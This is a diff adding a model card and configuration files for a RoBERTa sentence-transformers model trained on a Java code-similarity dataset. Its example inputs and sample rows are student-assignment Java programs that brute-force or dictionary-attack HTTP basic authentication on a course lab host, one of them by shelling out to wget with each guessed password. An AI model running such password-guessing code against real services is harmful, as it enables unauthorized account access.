+    '\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n    private int      pwdCounter = 0;\n    private    int  startTime;\n    private String   str1,str2,str3;\n    private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n    private String   loginPwd;\n    private String[] password;\n    private HoldSharedData data;\n    private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n                            \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n                            \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n                            \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n    public PasswordCombination()\n    {\n        System.out.println("Programmed by   for INTE1070 Assignment 2");\n\n        String input = JOptionPane.showInputDialog( "Enter number of threads" );\n        if(  input == null  )\n           System.exit(0);\n\n        int numOfConnections = Integer.parseInt( input );\n        startTime = System.currentTimeMillis();\n        int pwdCounter  = 52*52*52 + 52*52 + 52;\n        password = new String[pwdCounter];\n\n        doPwdCombination();\n\n        System.out.println("Total Number of Passwords Generated: " + pwdCounter);\n        createConnectionThread( numOfConnections );\n    }\n\n    private void doPwdCombination()\n    {\n        for( int i = 0; i < 52; i ++ )\n        {\n            str1 = "" + chars[i];\n            password[pwdCounter++] = "" + chars[i];\n            System.err.print( str1 + " | " );\n\n            for( int j = 0; j < 52; j ++ )\n            {\n                str2 = str1 + chars[j];\n                password[pwdCounter++] = str1 + chars[j];\n\n                for( int k = 0; k < 52; k ++ )\n                {\n                    str3 = str2 + chars[k];\n                    password[pwdCounter++] = str2 + chars[k];\n                }\n            }\n        }\n\n        System.err.println( "\\n" );\n    }\n\n    private void loadPasswords( )\n    {\n        FileReader     fRead;\n        BufferedReader buf;\n        String         line = null;\n        String         fileName = "words";\n\n        try\n        {\n            fRead = new FileReader( fileName );\n            buf = new BufferedReader(fRead);\n\n            while((line = buf.readLine( )) != null)\n            {\n                password[pwdCounter++] = line;\n            }\n        }\n        catch(FileNotFoundException e)\n        {\n            System.err.println("File not found: " + fileName);\n        }\n        catch(IOException ioe)\n        {\n            System.err.println("IO Error " + ioe);\n        }\n    }\n\n    private void createConnectionThread( int input )\n    {\n        data = new HoldSharedData( startTime, password, pwdCounter );\n\n        int numOfThreads = input;\n        int batch = pwdCounter/numOfThreads + 1;\n        numOfThreads = pwdCounter/batch + 1;\n        System.out.println("Number of Connection Threads Used:" + numOfThreads);\n        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n        for( int index = 0; index < numOfThreads; index ++ )\n        {\n            connThread[index] = new ConnectionThread( url, index, batch, data );\n            connThread[index].conn();\n        }\n    }\n}  ',
+    '\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n   }\n}\n      \n',
+    '\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n   }\n}\n      \n',
+]
+embeddings = model.encode(sentences)
+print(embeddings.shape)
+# [3, 768]
+
+# Get the similarity scores for the embeddings
+similarities = model.similarity(embeddings, embeddings)
+print(similarities.shape)
+# [3, 3]
+```
+
+<!--
+### Direct Usage (Transformers)
+
+<details><summary>Click to see the direct usage in Transformers</summary>
+
+</details>
+-->
+
+<!--
+### Downstream Usage (Sentence Transformers)
+
+You can finetune this model on your own dataset.
+
+<details><summary>Click to expand</summary>
+
+</details>
+-->
+
+<!--
+### Out-of-Scope Use
+
+*List how the model may foreseeably be misused and address what users ought not to do with the model.*
+-->
+
+<!--
+## Bias, Risks and Limitations
+
+*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
+-->
+
+<!--
+### Recommendations
+
+*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
+-->
+
+## Training Details
+
+### Training Dataset
+
+#### soco_train_java
+
+* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
+* Size: 33,411 training samples
+* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
+* Approximate statistics based on the first 1000 samples:
+  |         | label                                          | text_1                                                                               | text_2                                                                               |
+  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
+  | type    | int                                            | string                                                                               | string                                                                               |
+  | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 457.49 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> |
+* Samples:
+  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+  | <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br><br>public class Dictionary {<br><br>  public static void main(String args[])<br>  {<br>  int i,j,k;<br>  String pass = new String();<br>  String UserPass = new String();<br>  String status = new String();<br>  String status1 = new String();<br>  BasicAuth auth = new BasicAuth();<br>  URLConnection  connect;<br>   int start,end,diff;<br>  try {<br>               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br><br><br>              start =System.currentTimeMillis();<br><br>               BufferedReader dis = new BufferedReader(new FileReader("words"));<br><br><br>         while ((pass = dis.readLine()) != null)<br>          {<br><br><br>              UserPass= auth.encode("",pass);<br><br>              connect = url.openConnection();<br>              connect.setDoInput(true);<br>              connect.setDoOutput(true);<br><br>              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");<br>              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");<br>              connect.setRequestProperty(...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
+  | <code>0</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br>   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br>   private Vector v;<br><br>   public Cracker()<br>   {<br>      v = new Vector( 52);<br>   }<br>   public void loadLetters()<br>   {<br>      int i;<br><br>      for( i = 0; i < letters.length; i++)<br>      {<br>	 String s = new StringBuffer().append( letters[i]).toString();<br>         v.add( s);<br>      }<br>   }<br>   public Vector getVictor()<br>   {<br>      return ;<br>   }<br>   public void loadPairs()<br>   {<br>      int i,j;<br><br>      for( i = 0; i < letters.length - 1; i++)<br>      {<br>         for( j = i + 1; j < letters.length; j++)<br>         {<br>            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br>	    String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code>             | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
+  | <code>0</code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.util.StringTokenizer;<br><br>public class Dictionary<br>{<br>   public static void main(String args[])<br>   {<br>      final String DICT_FILE = "/usr/share/lib/dict/words"; <br>      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  <br>      String password;<br>      String s = null;<br>      int num_tries = 0;<br>      <br>      try<br>      {<br>         <br>         BufferedReader dict_word = new BufferedReader<br>                                  (new FileReader (DICT_FILE));<br>  <br>         <br>         while((password = dict_word.readLine())!= null)<br>         {        <br>            try <br>            {<br>               <br>               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);<br>              <br>               BufferedReader stdInput = new BufferedReader(new <br>                     InputStreamReader(p.getInputStream()));<br><br>               BufferedReader stdError = new BufferedReader(new <br>                     InputStreamReader(p.g...</code>                   | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
+* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)
+
+### Training Hyperparameters
+#### Non-Default Hyperparameters
+
+- `per_device_train_batch_size`: 32
+- `num_train_epochs`: 2
+
+#### All Hyperparameters
+<details><summary>Click to expand</summary>
+
+- `overwrite_output_dir`: False
+- `do_predict`: False
+- `eval_strategy`: no
+- `prediction_loss_only`: True
+- `per_device_train_batch_size`: 32
+- `per_device_eval_batch_size`: 8
+- `per_gpu_train_batch_size`: None
+- `per_gpu_eval_batch_size`: None
+- `gradient_accumulation_steps`: 1
+- `eval_accumulation_steps`: None
+- `torch_empty_cache_steps`: None
+- `learning_rate`: 5e-05
+- `weight_decay`: 0.0
+- `adam_beta1`: 0.9
+- `adam_beta2`: 0.999
+- `adam_epsilon`: 1e-08
+- `max_grad_norm`: 1.0
+- `num_train_epochs`: 2
+- `max_steps`: -1
+- `lr_scheduler_type`: linear
+- `lr_scheduler_kwargs`: {}
+- `warmup_ratio`: 0.0
+- `warmup_steps`: 0
+- `log_level`: passive
+- `log_level_replica`: warning
+- `log_on_each_node`: True
+- `logging_nan_inf_filter`: True
+- `save_safetensors`: True
+- `save_on_each_node`: False
+- `save_only_model`: False
+- `restore_callback_states_from_checkpoint`: False
+- `no_cuda`: False
+- `use_cpu`: False
+- `use_mps_device`: False
+- `seed`: 42
+- `data_seed`: None
+- `jit_mode_eval`: False
+- `use_ipex`: False
+- `bf16`: False
+- `fp16`: False
+- `fp16_opt_level`: O1
+- `half_precision_backend`: auto
+- `bf16_full_eval`: False
+- `fp16_full_eval`: False
+- `tf32`: None
+- `local_rank`: 0
+- `ddp_backend`: None
+- `tpu_num_cores`: None
+- `tpu_metrics_debug`: False
+- `debug`: []
+- `dataloader_drop_last`: False
+- `dataloader_num_workers`: 0
+- `dataloader_prefetch_factor`: None
+- `past_index`: -1
+- `disable_tqdm`: False
+- `remove_unused_columns`: True
+- `label_names`: None
+- `load_best_model_at_end`: False
+- `ignore_data_skip`: False
+- `fsdp`: []
+- `fsdp_min_num_params`: 0
+- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
+- `fsdp_transformer_layer_cls_to_wrap`: None
+- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
+- `deepspeed`: None
+- `label_smoothing_factor`: 0.0
+- `optim`: adamw_torch
+- `optim_args`: None
+- `adafactor`: False
+- `group_by_length`: False
+- `length_column_name`: length
+- `ddp_find_unused_parameters`: None
+- `ddp_bucket_cap_mb`: None
+- `ddp_broadcast_buffers`: False
+- `dataloader_pin_memory`: True
+- `dataloader_persistent_workers`: False
+- `skip_memory_metrics`: True
+- `use_legacy_prediction_loop`: False
+- `push_to_hub`: False
+- `resume_from_checkpoint`: None
+- `hub_model_id`: None
+- `hub_strategy`: every_save
+- `hub_private_repo`: None
+- `hub_always_push`: False
+- `gradient_checkpointing`: False
+- `gradient_checkpointing_kwargs`: None
+- `include_inputs_for_metrics`: False
+- `include_for_metrics`: []
+- `eval_do_concat_batches`: True
+- `fp16_backend`: auto
+- `push_to_hub_model_id`: None
+- `push_to_hub_organization`: None
+- `mp_parameters`: 
+- `auto_find_batch_size`: False
+- `full_determinism`: False
+- `torchdynamo`: None
+- `ray_scope`: last
+- `ddp_timeout`: 1800
+- `torch_compile`: False
+- `torch_compile_backend`: None
+- `torch_compile_mode`: None
+- `include_tokens_per_second`: False
+- `include_num_input_tokens_seen`: False
+- `neftune_noise_alpha`: None
+- `optim_target_modules`: None
+- `batch_eval_metrics`: False
+- `eval_on_start`: False
+- `use_liger_kernel`: False
+- `eval_use_gather_object`: False
+- `average_tokens_across_devices`: False
+- `prompts`: None
+- `batch_sampler`: batch_sampler
+- `multi_dataset_batch_sampler`: proportional
+
+</details>
+
+### Training Logs
+| Epoch  | Step | Training Loss |
+|:------:|:----:|:-------------:|
+| 0.4785 | 500  | 0.0175        |
+| 0.9569 | 1000 | 0.012         |
+| 1.4354 | 1500 | 0.0098        |
+| 1.9139 | 2000 | 0.0037        |
+
+
+### Framework Versions
+- Python: 3.11.11
+- Sentence Transformers: 4.1.0
+- Transformers: 4.52.4
+- PyTorch: 2.8.0.dev20250319+cu128
+- Accelerate: 1.7.0
+- Datasets: 3.6.0
+- Tokenizers: 0.21.1
+
+## Citation
+
+### BibTeX
+
+#### Sentence Transformers and SoftmaxLoss
+```bibtex
+@inproceedings{reimers-2019-sentence-bert,
+    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
+    author = "Reimers, Nils and Gurevych, Iryna",
+    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
+    month = "11",
+    year = "2019",
+    publisher = "Association for Computational Linguistics",
+    url = "https://arxiv.org/abs/1908.10084",
+}
+```
+
+<!--
+## Glossary
+
+*Clearly define terms in order to be accessible across audiences.*
+-->
+
+<!--
+## Model Card Authors
+
+*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
+-->
+
+<!--
+## Model Card Contact
+
+*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
+-->

config.json

@@ -0,0 +1,28 @@
+{
+  "architectures": [
+    "RobertaModel"
+  ],
+  "attention_probs_dropout_prob": 0.1,
+  "bos_token_id": 0,
+  "classifier_dropout": null,
+  "eos_token_id": 2,
+  "gradient_checkpointing": false,
+  "hidden_act": "gelu",
+  "hidden_dropout_prob": 0.1,
+  "hidden_size": 768,
+  "initializer_range": 0.02,
+  "intermediate_size": 3072,
+  "layer_norm_eps": 1e-05,
+  "max_position_embeddings": 1026,
+  "model_type": "roberta",
+  "num_attention_heads": 12,
+  "num_hidden_layers": 12,
+  "output_past": true,
+  "pad_token_id": 1,
+  "position_embedding_type": "absolute",
+  "torch_dtype": "float32",
+  "transformers_version": "4.52.4",
+  "type_vocab_size": 10,
+  "use_cache": true,
+  "vocab_size": 50000
+}

config_sentence_transformers.json

@@ -0,0 +1,10 @@
+{
+  "__version__": {
+    "sentence_transformers": "4.1.0",
+    "transformers": "4.52.4",
+    "pytorch": "2.8.0.dev20250319+cu128"
+  },
+  "prompts": {},
+  "default_prompt_name": null,
+  "similarity_fn_name": "cosine"
+}

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:d6694d44b1a099a9588d60b9e9ed6a8ca63fc27850b90699d8694336c61020e2
+size 499391344

modules.json

@@ -0,0 +1,14 @@
+[
+  {
+    "idx": 0,
+    "name": "0",
+    "path": "",
+    "type": "sentence_transformers.models.Transformer"
+  },
+  {
+    "idx": 1,
+    "name": "1",
+    "path": "1_Pooling",
+    "type": "sentence_transformers.models.Pooling"
+  }
+]

sentence_bert_config.json

@@ -0,0 +1,4 @@
+{
+  "max_seq_length": 512,
+  "do_lower_case": false
+}

special_tokens_map.json

@@ -0,0 +1,51 @@
+{
+  "bos_token": {
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "cls_token": {
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "eos_token": {
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "mask_token": {
+    "content": "<mask>",
+    "lstrip": true,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "pad_token": {
+    "content": "<pad>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "sep_token": {
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "unk_token": {
+    "content": "<unk>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  }
+}

tokenizer_config.json

@@ -0,0 +1,58 @@
+{
+  "add_prefix_space": false,
+  "added_tokens_decoder": {
+    "0": {
+      "content": "<s>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
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+      "normalized": true,
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+      "single_word": false,
+      "special": true
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+      "special": true
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+      "special": true
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+    "4": {
+      "content": "<mask>",
+      "lstrip": true,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    }
+  },
+  "bos_token": "<s>",
+  "clean_up_tokenization_spaces": false,
+  "cls_token": "<s>",
+  "eos_token": "</s>",
+  "errors": "replace",
+  "extra_special_tokens": {},
+  "mask_token": "<mask>",
+  "model_max_length": 1000000000000000019884624838656,
+  "pad_token": "<pad>",
+  "sep_token": "</s>",
+  "tokenizer_class": "RobertaTokenizer",
+  "trim_offsets": true,
+  "unk_token": "<unk>"
+}